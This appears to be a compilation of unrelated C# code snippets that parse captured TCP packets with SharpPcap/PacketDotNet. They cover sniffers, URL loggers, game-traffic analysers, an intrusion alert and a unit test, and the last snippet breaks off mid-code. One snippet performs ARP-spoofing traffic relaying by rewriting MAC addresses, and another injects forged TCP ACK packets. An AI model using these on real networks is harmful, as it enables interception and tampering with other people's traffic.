static void captureDevice_OnPacketArrival(object sender, CaptureEventArgs e) { lock (PacketProcessMutex) { TcpPacket tcpPacket = TcpPacket.GetEncapsulated(Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data) as EthernetPacket); if (tcpPacket.Psh) { PacketDirection direction = (tcpPacket.SourcePort == 8995 || (tcpPacket.SourcePort > 20050 && tcpPacket.SourcePort < 20100)) ? PacketDirection.Server2Client : PacketDirection.Client2Server; byte[] data = new byte[tcpPacket.Bytes.Length - tcpPacket.Header.Length]; Array.Copy(tcpPacket.Bytes, tcpPacket.Header.Length, data, 0, data.Length); // calculate session id int sessionid = tcpPacket.DestinationPort * tcpPacket.SourcePort; CaptureSession session = CaptureSessionList.Instance.Find(s => s.ID == sessionid); if (session == null) { bool login = false; if ((direction == PacketDirection.Server2Client && tcpPacket.SourcePort == 8995) || (direction == PacketDirection.Client2Server && tcpPacket.DestinationPort == 8995)) { login = true; } session = new CaptureSession(sessionid, (login ? (byte)0 : (byte)4)); CaptureSessionList.Instance.Add(session); } session.PacketReceived(data, direction); } } }
static void Program_OnPacketArrival(object sender, CaptureEventArgs e) { Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); // получение только TCP пакета из всего фрейма var tcpPacket = TcpPacket.GetEncapsulated(packet); // получение только IP пакета из всего фрейма var ipPacket = IpPacket.GetEncapsulated(packet); if (tcpPacket != null && ipPacket != null) { // IP адрес получателя var dstIp = ipPacket.DestinationAddress.ToString(); // порт отправителя var srcPort = tcpPacket.SourcePort.ToString(); dataPacket = tcpPacket.ParentPacket.ToString(); if (dataPacket != null) { foreach (var port in buff) { if (srcPort == port) { Int32.TryParse(portOfProces, out portForBloc); packageDetected = true; } } } } }
/// <summary> /// 截获包的处理事件 /// Prints the time and length of each received packet /// </summary> private void device_OnPacketArrival(object sender, CaptureEventArgs e) { //var time = e.Packet.Timeval.Date; //var len = e.Packet.Data.Length; //Console.WriteLine("{0}:{1}:{2},{3} Len={4}", // time.Hour, time.Minute, time.Second, time.Millisecond, len); //Console.WriteLine(e.Packet.ToString()); //_logger.Info(e.Packet.ToString()); //转换为TCP包 var packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); var tcpPacket = TcpPacket.GetEncapsulated(packet); //用UTF8编码解析包的内容 var datastr = Encoding.UTF8.GetString(tcpPacket.PayloadData); //输出包的ID信息 //Console.WriteLine($"{nameof(tcpPacket.AcknowledgmentNumber)}:{tcpPacket.AcknowledgmentNumber} {nameof(tcpPacket.SequenceNumber)}:{tcpPacket.SequenceNumber}"); //如果能分析到HTTP报头中的Url,则输出之 var url = httpgetRegex.Match(datastr); if (url.Success) { var host = hostRegex.Match(datastr); if (host.Success) { Console.WriteLine(host.Groups[1].Value + url.Groups[1].Value); } } }
private static void device_OnPacketArrival(object sender, CaptureEventArgs e) { try { var packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); var tcpPacket = TcpPacket.GetEncapsulated(packet); if (tcpPacket.PayloadData != null && tcpPacket.PayloadData.Length > 0) { bool isClientPacket = IsFromClient(tcpPacket); bool IsPacketComplete = FlagCheck(tcpPacket.AllFlags); var buffer = isClientPacket ? ClientBuffer : ServerBuffer; // Console.WriteLine("Flag :{0} \t Size: {2} \t IsClient: {3}", IsPacketComplete, tcpPacket.AcknowledgmentNumber, tcpPacket.PayloadData.Length, isClientPacket); if (IsPacketComplete) { buffer.Append(tcpPacket.PayloadData); phandler.Packethandler(buffer.GetPacketAndReset(), isClientPacket); } else { buffer.Append(tcpPacket.PayloadData); } } } catch { } }
//check the packet is port 808 void device_OnPacketArrival(object sender, CaptureEventArgs e) { if (e.Packet.Data.Length < 20) { return; } Packet p = null; TcpPacket tcp = null; try { p = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); tcp = TcpPacket.GetEncapsulated(p); } catch { return; } if (tcp == null) { return; } ushort portToFind = 808; if (tcp.DestinationPort == portToFind || tcp.DestinationPort == portToFind) { UpdateUiHandler handler = new UpdateUiHandler(SetCommunicating); Object[] args = new Object[] { true }; this.BeginInvoke(handler, args); } }
static void Program_OnPacketArrival(object sender, CaptureEventArgs e) { //TimeSpan ts = stopwatch.Elapsed; try { if (TimeSpan.Parse(stopwatch.Elapsed.ToString()).TotalSeconds >= 10) { //ts = TimeSpan.Zero; //stopwatch.Stop(); stopwatch.Reset(); //Ports.Clear(); Process process = Process.GetProcessById(Process.GetProcessesByName("viber")[0].Id); process.Kill(); captureDevice.StopCapture(); //Thread.Sleep(5000); System.Diagnostics.Process MyProc = new System.Diagnostics.Process(); MyProc.StartInfo.FileName = @"C:\Users\pna\AppData\Local\Viber\Viber.exe"; MyProc.Start(); Start(); } } catch { } // парсинг всего пакета Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); // получение только TCP пакета из всего фрейма var tcpPacket = TcpPacket.GetEncapsulated(packet); // получение только IP пакета из всего фрейма var ipPacket = IpPacket.GetEncapsulated(packet); if (tcpPacket != null && ipPacket != null) { //DateTime time = e.Packet.Timeval.Date; //int len = e.Packet.Data.Length; //// IP адрес отправителя //var srcIp = ipPacket.SourceAddress.ToString(); //// IP адрес получателя //var dstIp = ipPacket.DestinationAddress.ToString(); //// порт отправителя //var srcPort = tcpPacket.SourcePort.ToString(); //// порт получателя //var dstPort = tcpPacket.DestinationPort.ToString(); //// данные пакета //var data = tcpPacket.PayloadPacket; //tcpPacket.DestinationPort.ToString() if (Ports.Any(x => x.num_port.Contains(tcpPacket.DestinationPort.ToString()))) { if (ipPacket.DestinationAddress.ToString() == "192.168.1.28") { stopwatch.Restart(); //stopwatch.Start(); Console.WriteLine("{0}({1}) {2} - {3}", i++, DateTime.Now.ToString(), tcpPacket.DestinationPort.ToString(), e.Packet.Data.Length); //if (total_min >= 45) { //} } } } }
static void Main() { CaptureDeviceList deviceList = CaptureDeviceList.Instance; foreach (ICaptureDevice dev in deviceList) { Console.WriteLine("{0}\n", dev.ToString()); } ICaptureDevice device = deviceList[3]; device.Open(DeviceMode.Promiscuous, 1000); Console.WriteLine(); Console.WriteLine("-- Listening on {0}...", device.Description); Packet packet = null; while (true) { RawCapture raw = device.GetNextPacket(); while (raw == null) { raw = device.GetNextPacket(); } packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data); var tcpPacket = TcpPacket.GetEncapsulated(packet); var ipPacket = IpPacket.GetEncapsulated(packet); if (tcpPacket != null && ipPacket != null) { DateTime time = raw.Timeval.Date; int len = raw.Data.Length; Console.WriteLine("{0}:{1}:{2},{3} Len={4}", time.Hour, time.Minute, time.Second, time.Millisecond, len); //Console.WriteLine(e.Packet.ToString()); // IP адрес отправителя var srcIp = ipPacket.SourceAddress.ToString(); //Console.WriteLine("srcIp="+ srcIp); // IP адрес получателя var dstIp = ipPacket.DestinationAddress.ToString(); //Console.WriteLine("dstIp=" + dstIp); // порт отправителя var srcPort = tcpPacket.SourcePort.ToString(); //Console.WriteLine("srcPort=" + srcPort); // порт получателя var dstPort = tcpPacket.DestinationPort.ToString(); //Console.WriteLine("dstPost=" + dstPort); // данные пакета var data = BitConverter.ToString(raw.Data); //Console.WriteLine("data=" + data); string sendNTP = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + "\r\n" + data.ToString() + "\r\n"; Console.WriteLine(sendNTP); } } // Закрываем pcap устройство //device.Close(); //Console.WriteLine(" -- Capture stopped, device closed."); }
private static void device_OnPacketArrival(object sender, CaptureEventArgs e) { try { Kavprot.Packets.Packet packet = Kavprot.Packets.Packet.ParsePacket(e.Packet); if (packet is Kavprot.Packets.EthernetPacket) { var ip = Kavprot.Packets.IpPacket.GetEncapsulated(packet); if (ip.Protocol == Kavprot.Packets.IPProtocolType.TCP) { TcpPacket tcp = TcpPacket.GetEncapsulated(packet); if (tcp != null) { Alert.Attack("Intrusion Detected", "an intrusion was detected using TCP from " + ip.SourceAddress.ToString() + " @port " + tcp.SourcePort.ToString(), ToolTipIcon.Warning, true); } } else if (ip.Protocol == Kavprot.Packets.IPProtocolType.UDP) { UdpPacket udp = UdpPacket.GetEncapsulated(packet); if (udp != null) { Alert.Attack("Intrusion Detected", "an intrusion was detected using UDP from " + ip.SourceAddress.ToString() + " @port " + udp.SourcePort.ToString(), ToolTipIcon.Warning, true); } } else if (ip.Protocol == Kavprot.Packets.IPProtocolType.IGMP) { IGMPv2Packet igmp = IGMPv2Packet.GetEncapsulated(packet); if (igmp != null) { Alert.Attack("Intrusion Detected : Unwanted IGMP Packet", "an intrusion was detected using IGMP from " + ip.SourceAddress.ToString(), ToolTipIcon.Warning, true); } } else if (ip.Protocol == Kavprot.Packets.IPProtocolType.ICMPV6) { ICMPv6Packet icmp6 = ICMPv6Packet.GetEncapsulated(packet); if (icmp6 != null) { Alert.Attack("Intrusion Detected : Unwanted ICMPv6 Packet", "an intrusion was detected using ICMPv6 from " + ip.SourceAddress.ToString(), ToolTipIcon.Warning, true); } } else if (ip.Protocol == Kavprot.Packets.IPProtocolType.ICMP) { ICMPv4Packet icmp4 = ICMPv4Packet.GetEncapsulated(packet); if (icmp4 != null) { Alert.Attack("Intrusion Detected : Unwanted ICMPv4 Packet", "an intrusion was detected using ICMPv4 from " + ip.SourceAddress.ToString(), ToolTipIcon.Warning, true); } } } } catch { } finally { } }
private void TCPHandler(Packet dotnetPacket) { var tcpPacket = TcpPacket.GetEncapsulated(dotnetPacket); if (tcpPacket != null && tcpPacket.DestinationPort == sendPacket.GetSourcePort()) { AssertReplyPacketData(tcpPacket.PayloadData); } }
void ParseImportedFile() { while (device.Opened) { RawCapture packet = null; SessionForm session = null; while ((packet = device.GetNextPacket()) != null) { if (!started) { continue; } TcpPacket tcpPacket = TcpPacket.GetEncapsulated(Packet.ParsePacket(packet.LinkLayerType, packet.Data)); if (tcpPacket == null) { continue; } if ((tcpPacket.SourcePort < Config.Instance.LowPort || tcpPacket.SourcePort > Config.Instance.HighPort) && (tcpPacket.DestinationPort < Config.Instance.LowPort || tcpPacket.DestinationPort > Config.Instance.HighPort)) { continue; } this.Invoke((MethodInvoker) delegate { try { if (tcpPacket.Syn && !tcpPacket.Ack) { session = NewSession(); var res = session.BufferTCPPacket(tcpPacket, packet.Timeval.Date); if (res == SessionForm.Results.Continue) { session.Show(mDockPanel, DockState.Document); } } else if (session != null && session.MatchTCPPacket(tcpPacket)) { var res = session.BufferTCPPacket(tcpPacket, packet.Timeval.Date); if (res == SessionForm.Results.CloseMe) { session.Close(); } } } catch (Exception) { session.Close(); session = null; } }); } this.Invoke((MethodInvoker) delegate { mSearchForm.RefreshOpcodes(false); }); } }
/// <summary> /// Prints the source and dest IP and MAC addresses of each received Ethernet frame /// </summary> private static void device_OnPacketArrival(object sender, CaptureEventArgs e) { checksum = ""; TcpPacket tcp; UdpPacket udp; if (e.Packet.LinkLayerType == PacketDotNet.LinkLayers.Ethernet) { var packet = PacketDotNet.Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); if ((PacketDotNet.EthernetPacket)packet != null) { var ethernetPacket = (PacketDotNet.EthernetPacket)packet; if (TcpPacket.GetEncapsulated(packet) != null) { tcp = TcpPacket.GetEncapsulated(packet); checksum = tcp.Checksum.ToString(); } else if (UdpPacket.GetEncapsulated(packet) != null) { udp = UdpPacket.GetEncapsulated(packet); checksum = udp.Checksum.ToString(); } if (IpPacket.GetEncapsulated(packet) != null) { var ipPacket = IpPacket.GetEncapsulated(packet); _listview.Items.Add(new MyPacket { Id = packetIndex, Time = e.Packet.Timeval.Date.ToString() + "." + e.Packet.Timeval.MicroSeconds.ToString(), SourceIP = ipPacket.SourceAddress.ToString(), DestIP = ipPacket.DestinationAddress.ToString(), SourceMac = ethernetPacket.SourceHwAddress.ToString(), DestMac = ethernetPacket.DestinationHwAddress.ToString(), Checksum = checksum, Length = packet.Bytes.Length }); packets.Add(new MyPacket { Id = packetIndex, Time = e.Packet.Timeval.Date.ToString(), SourceIP = ipPacket.SourceAddress.MapToIPv4().ToString(), DestIP = ipPacket.DestinationAddress.MapToIPv4().ToString(), SourceMac = ethernetPacket.SourceHwAddress.ToString(), DestMac = ethernetPacket.DestinationHwAddress.ToString(), Checksum = checksum, Length = packet.Bytes.Length }); packetIndex++; } } } }
public PacketDetials(Packet packet) { this.packet = packet; ethernetPacket = EthernetPacket.GetEncapsulated(packet); if (ethernetPacket != null) { typeName = "Ethernet"; } ipPacket = IpPacket.GetEncapsulated(packet); if (ipPacket != null) { typeName = "Ip"; } arpPacket = ARPPacket.GetEncapsulated(packet); if (arpPacket != null) { typeName = "ARP"; } icmpv4Packet = ICMPv4Packet.GetEncapsulated(packet); if (icmpv4Packet != null) { typeName = "ICMPv4"; } icmpv6Packet = ICMPv6Packet.GetEncapsulated(packet); if (icmpv6Packet != null) { typeName = "ICMPv6"; } igmpv2Packet = IGMPv2Packet.GetEncapsulated(packet); if (igmpv2Packet != null) { typeName = "IGMPv2"; } pppoePacket = PPPoEPacket.GetEncapsulated(packet); if (pppoePacket != null) { typeName = "PPPoE"; } pppPacket = PPPPacket.GetEncapsulated(packet); if (pppPacket != null) { typeName = "PPP"; } tcpPacket = TcpPacket.GetEncapsulated(packet); if (tcpPacket != null) { typeName = "TCP"; } udpPacket = UdpPacket.GetEncapsulated(packet); if (udpPacket != null) { typeName = "UDP"; } }
void Program_OnPacketArrival(object sender, CaptureEventArgs e) { PacketArrivalEventHandler empty = null; // парсинг всего пакета Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); // получение только IP пакета из всего фрейма var ipPacket = IpPacket.GetEncapsulated(packet); var tcpPacket = TcpPacket.GetEncapsulated(packet); if (ipPacket != null) { DateTime time = e.Packet.Timeval.Date; int len = e.Packet.Data.Length; // IP адрес отправителя var srcIp = ipPacket.SourceAddress.ToString(); // IP адрес получателя var dstIp = ipPacket.DestinationAddress.ToString(); dstIps.Add(dstIp); //MessageBoxButtons buttons = MessageBoxButtons.YesNo; //var result = MessageBox.Show("Отправитель - " + srcIp + "\n" + "Адресат - " + dstIp, "Package is detected!"); if (srcIp.Substring(0, 3) == "192") { ip = srcIp; } if (dstIp.Substring(0, 3) == "192") { ip = dstIp; } if (srcIp == textBox2.Text || dstIp == textBox2.Text) { detected = true; } string port = ""; if (tcpPacket != null) { port = tcpPacket.SourcePort.ToString(); } if (detected) { //listBox2.Items.Add("Отправитель - " + srcIp + "; Адресат - " + dstIp + ";"); packagesInfo += "Отправитель - " + srcIp + "; Адресат - " + dstIp + ";" + " Порт: " + port + ";" + Environment.NewLine; detectedOnce = true; } } }
private void ipNext(IpPacket ip) { PayLoadData = ip.PayloadData; switch (ip.NextHeader) { case IPProtocolType.TCP: //最终协议为TCP TcpPacket tcp = TcpPacket.GetEncapsulated(packet); TCP(tcp); break; case IPProtocolType.UDP: UdpPacket udp = UdpPacket.GetEncapsulated(packet); UDP(udp); break; case IPProtocolType.ICMP: ICMPv4Packet icmp = ICMPv4Packet.GetEncapsulated(packet); ICMPv4(icmp); break; case IPProtocolType.ICMPV6: ICMPv6Packet icmpv6 = ICMPv6Packet.GetEncapsulated(packet); ICMPv6(icmpv6); break; case IPProtocolType.IGMP: IGMPv2Packet igmp = IGMPv2Packet.GetEncapsulated(packet); IGMP(igmp); break; case IPProtocolType.IPV6: List <byte> packetData = new List <byte>(); byte[] tmp = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; packetData.AddRange(tmp); packetData.AddRange(new byte[] { 0x86, 0xdd }); packetData.AddRange(ip.PayloadData); Packet p = Packet.ParsePacket(LinkLayers.Ethernet, packetData.ToArray()); IPv6Packet ip6 = (IPv6Packet)IPv6Packet.GetEncapsulated(p); IPv6(ip6); packet = p; ipNext(ip6 as IpPacket); break; case IPProtocolType.GRE: GREPacket gre = new GREPacket(ip.PayloadData); GRE(gre); break; } }
public PacketWrapper2(RawCapture rawCapture) { rawPacket = rawCapture; Packet packet = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data); ipPacket = IpPacket.GetEncapsulated(packet); tcpPacket = TcpPacket.GetEncapsulated(packet); Count = ++CaptureForm.packetCount; if (ipPacket.SourceAddress.Equals(CaptureForm.MyIp)) { MyPort = tcpPacket.SourcePort; Destination = "sent"; } else { MyPort = tcpPacket.DestinationPort; Destination = "received"; } Flags = "["; if (tcpPacket.Syn) { Flags += "SYN"; } else if (tcpPacket.Psh) { Flags += "PSH"; } else if (tcpPacket.Fin) { Flags += "FIN"; } if (tcpPacket.Ack) { if (Flags.Length > 1) { Flags += ","; } Flags += "ACK"; } Flags += "]"; Sequence = tcpPacket.SequenceNumber; Acknowledgment = tcpPacket.AcknowledgmentNumber; Len = tcpPacket.PayloadData.Length; Time = rawCapture.Timeval.MicroSeconds; Msg = Encoding.ASCII.GetString(tcpPacket.PayloadData); }
private void CurrentDevice_OnPacketArrival(object sender, CaptureEventArgs e) { MetinPacket p = new MetinPacket(TcpPacket.GetEncapsulated(Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data)), _authPort, _gamePort, ProcessTxt.Text); if (_needToMerge) { if (p.Length > 0 && (p.SourcePort == _mergingPacket.SourcePort)) { _mergingPacket.MergePacket(p); } else { if (!(!p.PSH && pshChk.Checked)) { PacketList.Items.Add(p); } return; } if (p.Length != 1452) { _needToMerge = false; } return; } if (p.Length == 1452) { _needToMerge = true; _mergingPacket = p; return; } if (_mergingPacket != null && p.Length != 0) { PacketList.Items.Add(_mergingPacket); _mergingPacket = null; } if (!(!p.PSH && pshChk.Checked)) { PacketList.Items.Add(p); } }
private void AddPacketToList(CaptureEventArgs packet) { DateTime time = packet.Packet.Timeval.Date; int len = packet.Packet.Data.Length; // 解析 try { var pac = PacketDotNet.Packet.ParsePacket(packet.Packet.LinkLayerType, packet.Packet.Data); TcpPacket tcpPacket = TcpPacket.GetEncapsulated(pac); UdpPacket udpPacket = UdpPacket.GetEncapsulated(pac); if (tcpPacket != null) { var ipPacket = (PacketDotNet.IpPacket)tcpPacket.ParentPacket; System.Net.IPAddress srcip = ipPacket.SourceAddress; System.Net.IPAddress dstip = ipPacket.DestinationAddress; int srcport = tcpPacket.SourcePort; int dstport = tcpPacket.DestinationPort; string tcpinf = String.Format("{0}:{1}:{2},{3} Len={4} {5}: {6}->{7}:{8} ", time.Hour, time.Minute, time.Second, "Tcp", len, srcip, srcport, dstip, dstport); string t = String.Format("{0}:{1}:{2}", time.Hour, time.Minute, time.Second); packets.Add(new PacketItem() { Packet = pac, time = t, length = len.ToString(), protocol = "Tcp", srcIp = srcip.ToString(), srcPort = srcport.ToString(), dstIp = dstip.ToString(), dstPort = dstport.ToString(), information = tcpinf }); } if (udpPacket != null) { var ipPacket = (PacketDotNet.IpPacket)udpPacket.ParentPacket; System.Net.IPAddress srcip = ipPacket.SourceAddress; System.Net.IPAddress dstip = ipPacket.DestinationAddress; int srcport = udpPacket.SourcePort; int dstport = udpPacket.DestinationPort; string udpinf = String.Format("{0}:{1}:{2},{3} Len={4} {5}: {6}->{7}:{8} ", time.Hour, time.Minute, time.Second, "udp", len, srcip, srcport, dstip, dstport); string t = String.Format("{0}:{1}:{2}", time.Hour, time.Minute, time.Second); packets.Add(new PacketItem() { Packet = pac, time = t, length = len.ToString(), protocol = "udp", srcIp = srcip.ToString(), srcPort = srcport.ToString(), dstIp = dstip.ToString(), dstPort = dstport.ToString(), information = udpinf }); //packets.Add(new PacketItem() { Packet = pac, time =udpinf }); } } catch (Exception ex) { //System.Windows.MessageBox.Show(ex.Message); } }
/// <summary> /// The main function of the class receives a tcp packet and reconstructs the stream /// </summary> /// <param name="tcpPacket"></param> public void ReassemblePacket(RawCapture rawCapture) { this.RawCapture = rawCapture; Packet packet = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data); this.IpPacket = IpPacket.GetEncapsulated(packet); this.TcpPacket = TcpPacket.GetEncapsulated(packet); // if the paylod length is zero bail out //ulong length = (ulong)(tcpPacket.TCPPacketByteLength - tcpPacket.TCPHeaderLength); ulong length = (ulong)(this.TcpPacket.Bytes.Length - this.TcpPacket.Header.Length); if (length == 0) { return; } reassemble_tcp(length); }
private static void device1_OnPacketArrival(object sender, CaptureEventArgs e) { try { Kavprot.Packets.Packet packet = Kavprot.Packets.Packet.ParsePacket(e.Packet); if (packet is Kavprot.Packets.EthernetPacket) { var ip = Kavprot.Packets.IpPacket.GetEncapsulated(packet); if (ip.Protocol == Kavprot.Packets.IPProtocolType.TCP) { TcpPacket tcp = TcpPacket.GetEncapsulated(packet); if (tcp != null) { if (!tcp.IsValidChecksum(TransportPacket.TransportChecksumOption.None)) { Alert.Attack("Intrusion Detected : Invalid TCP Checksum", "an intrusion was detected using TCP from " + ip.SourceAddress.ToString() + " @port " + tcp.SourcePort.ToString(), ToolTipIcon.Warning, true); } } } else if (ip.Protocol == Kavprot.Packets.IPProtocolType.UDP) { UdpPacket udp = UdpPacket.GetEncapsulated(packet); if (udp != null) { if (!udp.IsValidChecksum(TransportPacket.TransportChecksumOption.None)) { Alert.Attack("Intrusion Detected : Invalid UDP Checksum", "an intrusion was detected using UDP from " + ip.SourceAddress.ToString() + " @port " + udp.SourcePort.ToString(), ToolTipIcon.Warning, true); } } } } } catch { } finally { } }
public void TestGetEncapsulated() { var ethernetPacket = BuildTCPPacket(); // store the logging value var oldThreshold = LoggingConfiguration.GlobalLoggingLevel; // disable logging to improve performance LoggingConfiguration.GlobalLoggingLevel = log4net.Core.Level.Off; var startTime = DateTime.Now; var endTime = startTime.Add(new TimeSpan(0, 0, 15)); int testRuns = 0; while (DateTime.Now < endTime) { // Disable CS0618 (use of obsolete method), because we are testing the now obsolete // methods for performance #pragma warning disable 0618 var tcpPacket = TcpPacket.GetEncapsulated(ethernetPacket); #pragma warning restore 0618 Assert.IsNotNull(tcpPacket); Assert.AreEqual(tcpPacket.SourcePort, tcpSourcePort); Assert.AreEqual(tcpPacket.DestinationPort, tcpDestinationPort); testRuns++; } // update the actual end of the loop endTime = DateTime.Now; // restore logging LoggingConfiguration.GlobalLoggingLevel = oldThreshold; var rate = new Rate(startTime, endTime, testRuns, "Test runs"); Console.WriteLine(rate.ToString()); }
void device_OnPacketArrival(object sender, CaptureEventArgs e) { var Now = DateTime.Now; // cache 'DateTime.Now' for minor reduction in cpu overhead var interval = Now - _lastStatisticsOutput; if (interval > _lastStatisticsInterval) { //Console.WriteLine("device_OnPacketArrival: " + e.Device.Statistics); _captureStatistics = e.Device.Statistics; _statisticsUiNeedsUpdate = true; _lastStatisticsOutput = Now; } if (CaptureForm._pshPacket != null && _iRecvPackets <= RECEIVING_PACKED_EXPECTED) { Packet p = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); TcpPacket tcp = TcpPacket.GetEncapsulated(p); if (tcp.Psh && tcp.SourcePort == TARGET_PORT && tcp.PayloadData.Length > 0) { IPv4Packet ip = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._pshPacket); IPv4Packet lastAckIp = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._lastAckPacket); TcpPacket lastAckTcp = TcpPacket.GetEncapsulated(CaptureForm._lastAckPacket); lastAckIp.Id = (ushort)(ip.Id + 10); lastAckIp.UpdateIPChecksum(); lastAckTcp.SequenceNumber = tcp.AcknowledgmentNumber; lastAckTcp.AcknowledgmentNumber = (uint)(tcp.SequenceNumber + tcp.PayloadData.Length); lastAckTcp.UpdateTCPChecksum(); _device.SendPacket(CaptureForm._lastAckPacket); CaptureForm._pshPacket = CaptureForm._lastAckPacket; _iRecvPackets++; } } lock (_queueLock) _packetQueue.Add(e.Packet); }
/// <summary> /// Processes the specified packet capture. /// </summary> /// <param name='capture'> /// The raw data captured from the interface. /// </param> public DataPacket Process(RawCapture capture) { var dpacket = new DataPacket(); //Convert the raw data from the interface to a packet. var spacket = Packet.ParsePacket(capture.LinkLayerType, capture.Data); var ip = IpPacket.GetEncapsulated(spacket); /* * Determine if the packet is a TCP packet. * If it is map each of the fields of the packet to the * new storage structure. */ var tcp = TcpPacket.GetEncapsulated(spacket); if (tcp != null && ip != null) { dpacket.IpAddressSource = ip.SourceAddress.ToString(); dpacket.IpAddressDestination = ip.DestinationAddress.ToString(); dpacket.PortSource = tcp.SourcePort; dpacket.PortDestination = tcp.DestinationPort; dpacket.Payload = tcp.PayloadData; dpacket.Protocol = NetworkProtocol.tcp; dpacket.Timestamp = DateTime.Now; //Notify the DNS worker thread that a new packet needs lookup. lock (DnsLookupQueue) { DnsLookupQueue.Enqueue(dpacket); } WaitHandle.Set(); return(dpacket); } /* * Determine if the packet is an UDP packet. * If it is map each of the fields of the packet to the * new storage structure. */ var udp = UdpPacket.GetEncapsulated(spacket); if (udp != null && ip != null) { dpacket.IpAddressSource = ip.SourceAddress.ToString(); dpacket.IpAddressDestination = ip.DestinationAddress.ToString(); dpacket.PortSource = udp.SourcePort; dpacket.PortDestination = udp.DestinationPort; dpacket.Payload = udp.PayloadData; dpacket.Protocol = NetworkProtocol.udp; dpacket.Timestamp = DateTime.Now; //Notify the DNS worker thread that a new packet needs lookup. lock (DnsLookupQueue) { DnsLookupQueue.Enqueue(dpacket); } WaitHandle.Set(); return(dpacket); } /* * Determine if the packet is an ICMP packet. * If it is map each of the fields of the packet to the * new storage structure. */ var icmp = ICMPv4Packet.GetEncapsulated(spacket); if (icmp != null && ip != null) { dpacket.IpAddressSource = ip.SourceAddress.ToString(); dpacket.IpAddressDestination = ip.DestinationAddress.ToString(); dpacket.Type = icmp.TypeCode.ToString(); dpacket.Payload = icmp.PayloadData; dpacket.Protocol = NetworkProtocol.icmp; dpacket.Timestamp = DateTime.Now; //Notify the DNS worker thread that a new packet needs lookup. lock (DnsLookupQueue) { DnsLookupQueue.Enqueue(dpacket); } WaitHandle.Set(); return(dpacket); } /* * Determine if the packet is an ARP packet. * If it is map each of the fields of the packet to the * new storage structure. */ var arp = ARPPacket.GetEncapsulated(spacket); if (arp != null) { dpacket.Timestamp = DateTime.Now; dpacket.HardwareAddressSource = arp.SenderHardwareAddress.ToString(); dpacket.HardwareAddressTarget = arp.TargetHardwareAddress.ToString(); dpacket.Protocol = NetworkProtocol.arp; dpacket.Payload = spacket.PayloadData; return(dpacket); } //Console.WriteLine(" UNKNOWN TYPE: " + ((EthernetPacket)spacket).Type.ToString()); return(null); }
// worker for routing IPv4 packets public void WorkerRouter() { while (SpoofingStarted) { // size of packets - needed for send queue (set some starting value - it seems the length is not set correctly during threadQueue packet copying) int bufferSize = 2048; // copy packets to thread's packet storage (threadRoutingQueue) lock (PacketQueueRouting) { foreach (Packet packet in PacketQueueRouting) { threadQueueRouting.Add(packet); bufferSize += packet.Bytes.Length; } PacketQueueRouting.Clear(); } if (threadQueueRouting.Count > 0) { var sendQueue = new SendQueue(bufferSize); // loop through packets and change MAC addresses foreach (Packet packet in threadQueueRouting) { if (packet == null) { continue; } var ethernetPacket = (packet as EthernetPacket); if (ethernetPacket == null) { continue; } var ip = (packet is IpPacket ? (IpPacket)packet : IpPacket.GetEncapsulated(packet)); // discard invalid packets if (ip is IPv4Packet && (((IPv4Packet)ip).Checksum == 0 || !((IPv4Packet)ip).ValidIPChecksum)) { continue; } var sourceIP = ip.SourceAddress.ToString(); var destinationIP = ip.DestinationAddress.ToString(); var sourceMAC = ethernetPacket.SourceHwAddress.ToString(); var destinationMAC = ethernetPacket.DestinationHwAddress.ToString(); if (destinationMAC == sourceMAC) { continue; } // block PPTP if necessary (exclude local computer) if (blockPPTP && sourceIP != deviceInfo.IP && destinationIP != deviceInfo.IP) { // block GRE if (ip.Protocol == IPProtocolType.GRE) { continue; } // check for port 1723 and block it if (ip.Protocol == IPProtocolType.TCP) { var tcp = TcpPacket.GetEncapsulated(packet); if (tcp != null && (tcp.SourcePort == 1723 || tcp.DestinationPort == 1723)) { continue; } } } // incoming packets - change destination MAC back to target's MAC if (IPtoMACTargets1.ContainsKey(destinationIP) && (destinationMAC != IPtoMACTargets1[destinationIP].ToString())) { ethernetPacket.SourceHwAddress = physicalAddress; ethernetPacket.DestinationHwAddress = IPtoMACTargets1[destinationIP]; if (ethernetPacket.Bytes != null) { sendQueue.Add(packet.Bytes); } } // outgoing packets - change destination MAC to gateway's MAC if (IPtoMACTargets1.ContainsKey(sourceIP) && (destinationMAC != SpoofingTarget2.PMAC.ToString())) { ethernetPacket.SourceHwAddress = physicalAddress; ethernetPacket.DestinationHwAddress = SpoofingTarget2.PMAC; if (ethernetPacket.Bytes != null) { sendQueue.Add(packet.Bytes); } } } sendQueue.Transmit(device, SendQueueTransmitModes.Normal); sendQueue.Dispose(); threadQueueRouting.Clear(); } else { Thread.Sleep(1); } } return; }
private void mTimer_Tick(object sender, EventArgs e) { try { RawCapture packet = null; mTimer.Enabled = false; DateTime now = DateTime.Now; foreach (SessionForm ses in MdiChildren) { if (ses.CloseMe(now)) { closes.Add(ses); } } closes.ForEach((a) => { a.Close(); }); closes.Clear(); while ((packet = mDevice.GetNextPacket()) != null) { if (!started) { continue; } TcpPacket tcpPacket = TcpPacket.GetEncapsulated(Packet.ParsePacket(packet.LinkLayerType, packet.Data)); SessionForm session = null; try { if (tcpPacket.Syn && !tcpPacket.Ack && tcpPacket.DestinationPort >= Config.Instance.LowPort && tcpPacket.DestinationPort <= Config.Instance.HighPort) { session = NewSession(); var res = session.BufferTCPPacket(tcpPacket, packet.Timeval.Date); if (res == SessionForm.Results.Continue) { session.Show(mDockPanel, DockState.Document); } } else { session = Array.Find(MdiChildren, f => (f as SessionForm).MatchTCPPacket(tcpPacket)) as SessionForm; if (session != null) { var res = session.BufferTCPPacket(tcpPacket, packet.Timeval.Date); if (res == SessionForm.Results.CloseMe) { session.Close(); } } } } 